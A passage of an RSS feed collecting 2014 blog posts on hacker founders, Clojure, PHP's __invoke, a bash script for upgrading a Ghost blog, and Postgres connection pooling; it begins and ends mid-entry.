kind of like chess, in the sense that the hard part is not knowing the rules
about how the pieces move, the hard part is actually being able to, like…
look ahead and make strategies and stuff like that, right. The hard part about
playing chess well is being smart, right, not knowing how to play the rules of
chess. And I think business is like that, that there’s a few rules of business
and that hackers are capable of learning them, most hackers, and that…
once they learn them, they’ll be as good at it as business guys, you know?
So… I think hackers can &lt;strong&gt;be&lt;/strong&gt; business guys. Hackers are perfectly capable
of being business guys. Look at Bill Gates, right! He didn’t go to business
school. I mean… you might wonder, why would &lt;strong&gt;anyone&lt;/strong&gt; want to go to business
school? You know, when you look at the example of Bill Gates, he seems to be
doing fine at business, right? He sort of picked it up as he went along,
and that did not seem to hurt him at all. Larry and Serguey, they didn’t go to
business school either, right, they’re just hackers, and they seem to be doing
fine too. So I think the relationship between hackers and business guys, at
least in the beginning, is that you need hackers and you don’t need business
guys.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>Separate Concerns</author><pubDate>Wed, 28 May 2014 01:00:01 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-05-28-hacker-founders.html</guid></item><item><title>Octopus Deploy</title><link>https://daniellittle.dev/octopus-deploy</link><description>I'm happy to announce that I've joined forces with the amazing developers at Octopus Deploy. It's a fantastic product and if you havn't…</description><author>Daniel Little Dev</author><pubDate>Wed, 28 May 2014 00:43:04 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/octopus-deploy</guid></item><item><title>Indistinguishable from Magic</title><link>https://blog.separateconcerns.com/2014-05-27-magic.html</link><description>&lt;p&gt;I have just watched a small &lt;a href="https://www.youtube.com/watch?v=Ia55clAtdMs"&gt;TEDx talk by Simon Peyton Jones&lt;/a&gt; (of Haskell fame) on CS education. Something he said struck me as relevant to what I was saying in &lt;a href="https://blog.separateconcerns.com/2014-04-25-design-alan-kay.html"&gt;my last post&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Arthur C. Clarke once famously remarked that “any sufficiently advanced technology is indistinguishable from magic”. And I think it is very damaging if our children come to believe that the computer systems they use are essentially magic. That is: not under their control.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you have a programming background, you may experience a feeling close to disgust when you hear the word “magic”. But I have heard “product people” use it as if it was a &lt;strong&gt;good&lt;/strong&gt; thing way too many times. Short term, maybe. But eventually I want to master my tools, to understand them inside out. I want to be able to rely on them, and for that I expect them &lt;strong&gt;not&lt;/strong&gt; to surprise me.&lt;/p&gt;
&lt;p&gt;I think it is time for the pendulum to swing back to products that optimize for how high the asymptote of the learning curve is, not the time it takes to reach it. The kind of products that come with manuals and teach you things instead of trying very hard not to make you feel stupid, or in other words: not to make you think.&lt;/p&gt;</description><author>Separate Concerns</author><pubDate>Wed, 28 May 2014 00:30:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2014-05-27-magic.html</guid></item><item><title>Non-Stop</title><link>https://olshansky.info/movie/non-stop/</link><description>Olshansky's review of Non-Stop</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 27 May 2014 19:51:11 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/non-stop/</guid></item><item><title>Where there is stubble</title><link>http://wholelarderlove.com/where-there-is-stubble/</link><description>&lt;p&gt;With every single article Rohan Anderson writes, I become more convinced that his is a lifestyle I would love to live. A hard life, no doubt, but a good one all the same. And isn&amp;#8217;t that what we are all after?&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://wholelarderlove.com/where-there-is-stubble/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 27 May 2014 09:52:21 GMT</pubDate><guid isPermaLink="true">http://wholelarderlove.com/where-there-is-stubble/</guid></item><item><title>Basic Access Restrictions with NGinx</title><link>https://joshuarogers.net/articles/2014-05/basic-access-restrictions-nginx/</link><description>Last week, we went over how to quickly build a reverse proxy using NGinx. While this solved our immediate problem of hiding n+1 servers behind our n ip addresses, it could still stand a bit of work. As it stands right now, we don't have any access control capability.
The Setup Let's assume we have two sites that need to be proxied: public.example.com and internal.example.com1 and 2.
upstream internal { server 10.</description><author>Joshua Rogers</author><pubDate>Mon, 26 May 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-05/basic-access-restrictions-nginx/</guid></item><item><title>A few numbers about the European Elections in Italy</title><link>https://stop.zona-m.net/2014/05/a-few-numbers-about-the-european-elections-in-italy/</link><description>&lt;p&gt;&lt;em&gt;(just to give a bit more context for my friends who don&amp;rsquo;t speak Italian, here is the English version of a post I just published on the italian version of this blog, to help them understand what happened a bit better)&lt;/em&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 26 May 2014 14:11:08 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/05/a-few-numbers-about-the-european-elections-in-italy/</guid></item><item><title>Why doesn’t GitHub talk about their product roadmap?</title><link>https://nicolaiarocci.com/doesnt-github-talk-product-roadmap/</link><description>&lt;blockquote&gt;
&lt;p&gt;Software development is mostly horseshit. We’re busy trying to build things, trying to estimate when things are done, trying to work with other humans to make sure you don’t break anything when you launch. All of these things can go horribly, horribly wrong without much malice or without much intention. It’s still very difficult.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href="https://github.com/holman/feedback/issues/534"&gt;Why doesn’t GitHub talk about their product roadmap?&lt;/a&gt;&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 26 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/doesnt-github-talk-product-roadmap/</guid></item><item><title>Websites are for Humans</title><link>https://solomon.io/websites-humans/</link><description>Writing an article that gets read by tens of thousands is exhilarating. If you’ve written an article, it’s hard not to obsess over the analytics.</description><author>Sam Solomon</author><pubDate>Mon, 26 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/websites-humans/</guid></item><item><title>WiFi problems on Mavericks</title><link>https://rd.nz/2014/05/wifi-problems-on-mavericks.html</link><author>Rich Dougherty</author><pubDate>Mon, 26 May 2014 00:09:00 GMT</pubDate><guid isPermaLink="true">https://rd.nz/2014/05/wifi-problems-on-mavericks.html</guid></item><item><title>How to remember the difference between conj and cons in Clojure</title><link>https://bfontaine.net/2014/05/25/how-to-remember-the-difference-between-conj-and-cons-in-clojure/</link><description>&lt;p&gt;When I started writing Clojure, I couldn’t memorize the difference between
&lt;code class="language-plaintext highlighter-rouge"&gt;conj&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;cons&lt;/code&gt; and always used one instead of the another. Their name are
similar, but &lt;code class="language-plaintext highlighter-rouge"&gt;cons&lt;/code&gt; is used to add an element at the beginning of a vector,
while &lt;code class="language-plaintext highlighter-rouge"&gt;conj&lt;/code&gt; is used to add an element at the end of it. How can one memorize
this? I found a mnemonic trick over the time that helps me remember this. Here
is it:&lt;/p&gt;

&lt;p&gt;The trick is to look at the last letter of each function, &lt;code class="language-plaintext highlighter-rouge"&gt;s&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;j&lt;/code&gt;. As shown
in the image below, the &lt;code class="language-plaintext highlighter-rouge"&gt;s&lt;/code&gt; of &lt;code class="language-plaintext highlighter-rouge"&gt;cons&lt;/code&gt; shows the right, while the &lt;code class="language-plaintext highlighter-rouge"&gt;j&lt;/code&gt; of
&lt;code class="language-plaintext highlighter-rouge"&gt;conj&lt;/code&gt; shows the left.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" class="center" src="/blog/images/sj.png" /&gt;&lt;/p&gt;

&lt;p&gt;This means that &lt;code class="language-plaintext highlighter-rouge"&gt;cons&lt;/code&gt; pushes elements from the left to the right, that is,
&lt;strong&gt;at the beginning&lt;/strong&gt; of a vector. &lt;code class="language-plaintext highlighter-rouge"&gt;conj&lt;/code&gt;, on the other hand, pushes elements
from the right to the left, which is &lt;strong&gt;at the end&lt;/strong&gt; of a vector. That’s it.
Once you see this in your head, you’ll never forget the difference between
&lt;code class="language-plaintext highlighter-rouge"&gt;cons&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;conj&lt;/code&gt; on a vector.&lt;/p&gt;</description><author>Baptiste Fontaine’s Blog</author><pubDate>Sun, 25 May 2014 23:06:00 GMT</pubDate><guid isPermaLink="true">https://bfontaine.net/2014/05/25/how-to-remember-the-difference-between-conj-and-cons-in-clojure/</guid></item><item><title>Ghost upgrade script</title><link>https://jeroenpelgrims.com/ghost-upgrade-script/</link><description>&lt;p&gt;The following is a bash script to upgrade your Ghost installation automatically to the latest version.
The script is meant to be used on an Arch linux installation but should be pretty generic. On other distro's you should only have to change the lines to start/stop ghost. (see "Stopping Ghost" &amp;amp; "Starting Ghost" below)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; This does &lt;em&gt;not&lt;/em&gt; update your template, in case you've made modifications to it yourself. This will still have to be done manually.&lt;/p&gt;
&lt;pre class="language-bash " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-bash"&gt;&lt;span style="font-style: italic; color: #969896;"&gt;#!/bin/bash
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;BACKUP_FILE&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;=&lt;/span&gt;&lt;span style="color: #183691;"&gt;/tmp/backup.tgz
&lt;/span&gt;&lt;span&gt;GHOST_UPDATE_URL&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;=&lt;/span&gt;&lt;span style="color: #183691;"&gt;https://ghost.org/zip/ghost-latest.zip
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;if &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;[ &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;$&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot; &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;== &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;&amp;quot; &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;]&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;; then
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;Arg 1 must be the path to the blog folder!&amp;quot;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;exit&lt;/span&gt;&lt;span&gt; 1
&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;fi
&lt;/span&gt;&lt;span&gt;BLOG_PATH&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;=&lt;/span&gt;&lt;span style="color: #183691;"&gt;$&lt;/span&gt;&lt;span&gt;1
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Stopping Ghost'
&lt;/span&gt;&lt;span&gt;sudo systemctl stop &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;servicename&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'BACKUP starting'
&lt;/span&gt;&lt;span&gt;tar -capf $BACKUP_FILE -C $BLOG_PATH .
&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'BACKUP done'
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;    LATEST_FOLDER&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;=&lt;/span&gt;&lt;span style="color: #183691;"&gt;/tmp/ghost-latest
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Downloading latest Ghost version'
&lt;/span&gt;&lt;span&gt;    wget -q $GHOST_UPDATE_URL -P /tmp/
&lt;/span&gt;&lt;span&gt;    rm -rf $LATEST_FOLDER
&lt;/span&gt;&lt;span&gt;    unzip -q /tmp/ghost-latest.zip -d $LATEST_FOLDER
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Overwriting root files'
&lt;/span&gt;&lt;span&gt;    (
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;cd &lt;/span&gt;&lt;span&gt;$LATEST_FOLDER&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;;
&lt;/span&gt;&lt;span&gt;        cp &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;*&lt;/span&gt;&lt;span&gt;.js &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;*&lt;/span&gt;&lt;span&gt;.json &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;*&lt;/span&gt;&lt;span&gt;.md LICENSE $BLOG_PATH
&lt;/span&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Replacing core directory'
&lt;/span&gt;&lt;span&gt;    rm -rf &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;$&lt;/span&gt;&lt;span&gt;BLOG_PATH&lt;/span&gt;&lt;span style="color: #183691;"&gt;/core&amp;quot;
&lt;/span&gt;&lt;span&gt;    cp -r &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;$&lt;/span&gt;&lt;span&gt;LATEST_FOLDER&lt;/span&gt;&lt;span style="color: #183691;"&gt;/core&amp;quot; &amp;quot;$&lt;/span&gt;&lt;span&gt;BLOG_PATH&lt;/span&gt;&lt;span style="color: #183691;"&gt;/core&amp;quot;
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Installing Ghost dependencies'
&lt;/span&gt;&lt;span&gt;    (
&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;cd &lt;/span&gt;&lt;span&gt;$BLOG_PATH&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;;
&lt;/span&gt;&lt;span&gt;        npm install --production --quiet
&lt;/span&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Upgrade done!'
&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;|| &lt;/span&gt;&lt;span&gt;{
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'BACKUP restore'
&lt;/span&gt;&lt;span&gt;    rm -rf $BLOG_PATH
&lt;/span&gt;&lt;span&gt;    mkdir $BLOG_PATH
&lt;/span&gt;&lt;span&gt;    tar -xf $BACKUP_FILE -C $BLOG_PATH
&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'BACKUP restore done'
&lt;/span&gt;&lt;span&gt;}
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;echo &lt;/span&gt;&lt;span style="color: #183691;"&gt;'Starting Ghost'
&lt;/span&gt;&lt;span&gt;sudo systemctl start &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;servicename&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</description><author>Jeroen Pelgrims</author><pubDate>Sun, 25 May 2014 20:22:00 GMT</pubDate><guid isPermaLink="true">https://jeroenpelgrims.com/ghost-upgrade-script/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-51914.html</link><description>&lt;p&gt;Another short week, unfortunately. Short, but no less excellent&amp;#160;&amp;#8212;&amp;#160;of that, I can assure you. So sit back, relax on your day off tomorrow, and enjoy last week&amp;#8217;s best podcasts:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-51914.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 25 May 2014 17:14:31 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-51914.html</guid></item><item><title>He who estimates, implements</title><link>https://www.craigpardey.com/post/2014-05-25-he-who-estimates-implements/</link><description>&lt;blockquote&gt;
&lt;p&gt;I&amp;rsquo;ve been over the high-level requirements and think it&amp;rsquo;ll probably take 8
weeks with 2 developers, so you should be able to deliver this by X.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Well, that&amp;rsquo;s great. Can I presume that you&amp;rsquo;re one of the two developers
working on it? I didn&amp;rsquo;t think so.&lt;/p&gt;
&lt;p&gt;Nothing irks me more than being handed a batch of work along with the timeline
for delivering it. If you want to estimate my work for me, then you can also
go ahead and build it.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Sun, 25 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-05-25-he-who-estimates-implements/</guid></item><item><title>2014-05-25</title><link>https://ho.dges.online/pictures/2014-05-25/</link><description>&lt;p&gt;The cloister at Glasgow University.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 25 May 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-05-25/</guid></item><item><title>Screenshot Saturday 172</title><link>https://etodd.io/2014/05/23/screenshot-saturday-172/</link><description>&lt;p&gt;Big update this week!&lt;/p&gt;
&lt;p&gt;First, I updated the logo. I rotated the cubes 45 degrees to try and convey a better sense of speed and movement. What do you think?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/aP7jtXo.png"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/aP7jtXol.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Next, I added support for 4K screenshots. Now I can hit Alt-S and my renderer resizes all of its buffers to 4096x2304 (biggest 16:9 resolution supported by XNA), renders the scene, saves it to a PNG, then resizes everything back to normal.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 23 May 2014 15:40:43 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/05/23/screenshot-saturday-172/</guid></item><item><title>Sloppy Swiping</title><link>http://www.thenewsprint.co/blog/-sloppy-swiping</link><description>&lt;p&gt;Like Josh, I prefer to navigate with swipes rather than taps. However, unlike him, I prefer tidy swiping&amp;#160;&amp;#8212;&amp;#160;that is, I prefer my apps not to register my gestures unless I begin them in certain areas, such as the extreme left side of the screen: whenever I want to go back in an app&amp;#8217;s visual hierarchy, for example, I put my finger up against my case&amp;#8217;s left bumper and swipe across; it would be confusing and annoying if I made an accidental rightward swipe and unintentionally moved back a screen. I do recognize the value of sloppy swiping, though; the key, then, is to strike a balance between the two. Even if that balance is struck though, there&amp;#8217;s a discoverability problem with gestures that you just don&amp;#8217;t have with buttons: you can see a button, while gestures are invisible.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.thenewsprint.co/blog/-sloppy-swiping"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 23 May 2014 09:57:39 GMT</pubDate><guid isPermaLink="true">http://www.thenewsprint.co/blog/-sloppy-swiping</guid></item><item><title>Catch Me if You Can</title><link>https://olshansky.info/movie/catch_me_if_you_can/</link><description>Olshansky's review of Catch Me if You Can</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 23 May 2014 05:08:02 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/catch_me_if_you_can/</guid></item><item><title>All Glory to __invoke</title><link>https://donatstudios.com/All-Glory-to-__invoke</link><description>&lt;p&gt;Lost in the shiny new features (see: &lt;em&gt;namespaces&lt;/em&gt; and &lt;em&gt;closures&lt;/em&gt;) PHP 5.3 also added the &lt;code&gt;__invoke&lt;/code&gt; method. While not plainly apparent, it is secretly an amazingly useful 'magic method' . &lt;/p&gt;
&lt;p&gt;If you're not taking advantage of &lt;code&gt;__invoke&lt;/code&gt;, you &lt;strong&gt;should be&lt;/strong&gt;. Why? It provides a uniform execution points for objects that have a &lt;code&gt;doPrimaryAction()&lt;/code&gt; style method.&lt;/p&gt;
&lt;p&gt;What do I mean by this? &lt;strong&gt;Many&lt;/strong&gt; simple, single responsibility objects have a usage that goes something like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Instantiate&lt;/li&gt;
&lt;li&gt;Set Options&lt;/li&gt;
&lt;li&gt;Execute &lt;/li&gt;
&lt;li&gt;[Optional] GOTO 2&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;They are essentially glorified functions with manageable defaults.&lt;/p&gt;
&lt;p&gt;So instead of &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

public function add($left = 0, $right = 0) {
    return $left + $right;
}

echo add(1, 2); // 3
echo add(3, 2); // 5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have something like&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class Add {
    public $left;
    public $right;

    public function construct($left = 0, $right = 0) {
        $this-&amp;gt;left  = $left;
        $this-&amp;gt;right = $right;
    }

    public function doMath() {
        return $this-&amp;gt;left + $this-&amp;gt;right;
    }
}

$adder = new Add;

$adder-&amp;gt;left  = 1;
$adder-&amp;gt;right = 2;
echo $adder-&amp;gt;doMath(); // 3

$adder-&amp;gt;left  = 3;
echo $adder-&amp;gt;doMath(); // 5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The example is farcical and stands to illustrate my point. Everything except the &lt;code&gt;doMath()&lt;/code&gt; method is setup &lt;em&gt;for&lt;/em&gt; the &lt;code&gt;doMath&lt;/code&gt; method. You are setting up the environment for &lt;code&gt;doMath&lt;/code&gt; to execute.&lt;/p&gt;
&lt;p&gt;This pattern of object with one primary action has a downside over a function. You need to know the &lt;em&gt;class name&lt;/em&gt; and the invoking &lt;em&gt;method name&lt;/em&gt;, which varies from object to object. This dear reader is where &lt;code&gt;__invoke&lt;/code&gt; comes in. &lt;/p&gt;
&lt;p&gt;&lt;code&gt;__invoke&lt;/code&gt; is a &lt;a href="https://www.php.net/manual/en/language.oop5.magic.php"&gt;&lt;em&gt;magic method&lt;/em&gt;&lt;/a&gt; allowing us to treat our object as a &lt;em&gt;function&lt;/em&gt; or more correctly a &lt;em&gt;closure&lt;/em&gt;. It will pass the &lt;em&gt;Callable&lt;/em&gt; type hint when added, and makes the object directly invokable via &lt;code&gt;call_user_function&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;What this gives us most importantly though is a &lt;strong&gt;uniform&lt;/strong&gt; way across &lt;em&gt;differently intentioned objects&lt;/em&gt; to invoke its primary action.&lt;/p&gt;
&lt;p&gt;If we update the previous example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class Add {
    public $left;
    public $right;

    public function construct($left = 0, $right = 0) {
        $this-&amp;gt;left  = $left;
        $this-&amp;gt;right = $right;
    }

    public function __invoke() {
        return $this-&amp;gt;left + $this-&amp;gt;right;
    }
}

$adder = new Add;

$adder-&amp;gt;left  = 1;
$adder-&amp;gt;right = 2;
echo $adder(); // 3

$adder-&amp;gt;left  = 3;
echo $adder(); // 5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see the difference in use is &lt;em&gt;slight&lt;/em&gt;, but the benefit is the lack of &lt;code&gt;-&amp;gt;doMath&lt;/code&gt;.  We know this object does &lt;em&gt;one thing&lt;/em&gt;, now we have a uniform way to make our objects do that one thing.&lt;/p&gt;
&lt;p&gt;I haven't seen a lot of traction with this in the community &lt;em&gt;yet&lt;/em&gt; but I remain quite hopeful for this to pick up. I do know however that Aura appears to be a fan of the pattern, with Aura.Dispatcher using it beautifully.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/auraphp/Aura.Dispatcher/blob/fec7c7ada167f9ae7ca9a1c26902021464c7deb8/src/Dispatcher.php#L90"&gt;Aura.Dispatcher&lt;/a&gt; - Aura's &lt;em&gt;Dispatcher&lt;/em&gt; has one primary purpose - to &lt;strong&gt;&lt;em&gt;dispatch&lt;/em&gt;&lt;/strong&gt;. As such, it is a perfect use case for being invokable.&lt;/li&gt;
&lt;/ul&gt;</description><author>Donat Studios</author><pubDate>Fri, 23 May 2014 04:29:47 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/All-Glory-to-__invoke</guid></item><item><title>Postgres and Connection Pooling</title><link>/2014/05/22/Postgres-and-Connection-Pooling/</link><description>&lt;p&gt;Connection pooling is quickly becoming one of the more frequent questions I hear. So here&amp;rsquo;s a primer on it. If there&amp;rsquo;s enough demand I&amp;rsquo;ll follow up a bit further with some detail on specific Postgres connection poolers and setting them up.&lt;/p&gt;
&lt;h3 id="the-basics"&gt;
&lt;div&gt;
The basics
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;For those unfamiliar, a connection pool is a group of database connections sitting around that are waiting to be handed out and used. This means when a request comes in a connection is already there whether in your framework or some other pooling process, and then given to your application for that specific request or transaction. In contrast, without any connection pooling your application will have to reach out to your database to establish a connection. While in the most basic sense you may thinking connecting to a database is quick, often theres &lt;a href="/2013/03/07/Fixing-django-db-connections/"&gt;some overhead here&lt;/a&gt;. An example is SSL negotiation that may have to occur which means you&amp;rsquo;re looking at not 1-2 ms but often closer to 30-50.&lt;/p&gt;
&lt;h3 id="the-options"&gt;
&lt;div&gt;
The options
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;There&amp;rsquo;s really two major options when it comes to connection pooling:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Framework pooling&lt;/li&gt;
&lt;li&gt;Standalone pooler&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Persistent connections&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="framework-pooling"&gt;
&lt;div&gt;
Framework pooling
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;Today many modern application frameworks have at least some basic level of connection pooling. This means as your application server starts up it will create a pool of connections to use. It&amp;rsquo;s worth noting that while most modern frameworks have pooling, not all do, and further it may not be enabled by default.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re using the Sequel ORM for Ruby or SQLAlchemy for Python you&amp;rsquo;re well covered here. Further &lt;a href="https://devcenter.heroku.com/articles/concurrency-and-database-connections"&gt;Rails&lt;/a&gt; is in pretty good shape also, though you may want to configure the pool size. For Django it&amp;rsquo;s a bit of a mixed story. For some time &lt;a href="/2013/03/07/Fixing-django-db-connections/"&gt;Django&lt;/a&gt; did not have pooling at all. As of Django 1.6 you now have persistent connections by default and the ability to enable a pool.&lt;/p&gt;
&lt;h4 id="persistent-connections"&gt;
&lt;div&gt;
Persistent connections
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;Persistent connections don&amp;rsquo;t offer all of the benefits of pooling, but can often work well enough. Persistent connections is the act of maintaining a connection to your database once it&amp;rsquo;s connected. In the case where you have overhead of 30-50 ms each time you connect this can be quite helpful. At the same time you&amp;rsquo;re limited to the number of things that can be interacting with your databases as you&amp;rsquo;re limited to 1 connection per entry point to your webserver.&lt;/p&gt;
&lt;h4 id="standalone-pooling"&gt;
&lt;div&gt;
Standalone pooling
&lt;/div&gt;
&lt;/h4&gt;
&lt;p&gt;Postgres can be a bit of a sore spot when it comes to handling a ton of connections. For Postgres each connection you have to your database assumes some overhead of memory. Casual observations have seen it be between 5 and 10 MB assuming some basic query workload. And even if you have the memory overhead on your Postgres instance there becomes a point where management of connections becomes a limiting factor, we&amp;rsquo;ve seen this somewhere in the hundreds. While framework level connection poolers can give some better performance and lengthen the time before you have to deal with something more complex if you&amp;rsquo;re successful that time may come.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A rule of thumb I&amp;rsquo;d use is if you have over 100 connections you want to look at something more robust&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In this case that something more robust is a standalone pooler specifically for Postgres. A standalone pooler can be much more configurable overall letting you specify how it works for Postgres sessions, transactions, or statements. Further these are very specifically designed to work with Postgres handling a very large pool of connections without adding too much overhead. In contrast to the 5MB-ish standard connection to Postgres PG Bouncer has a 2kb per connection.&lt;/p&gt;
&lt;p&gt;So once you&amp;rsquo;re at the point of needing one there&amp;rsquo;s really two options.&lt;/p&gt;
&lt;ol&gt;
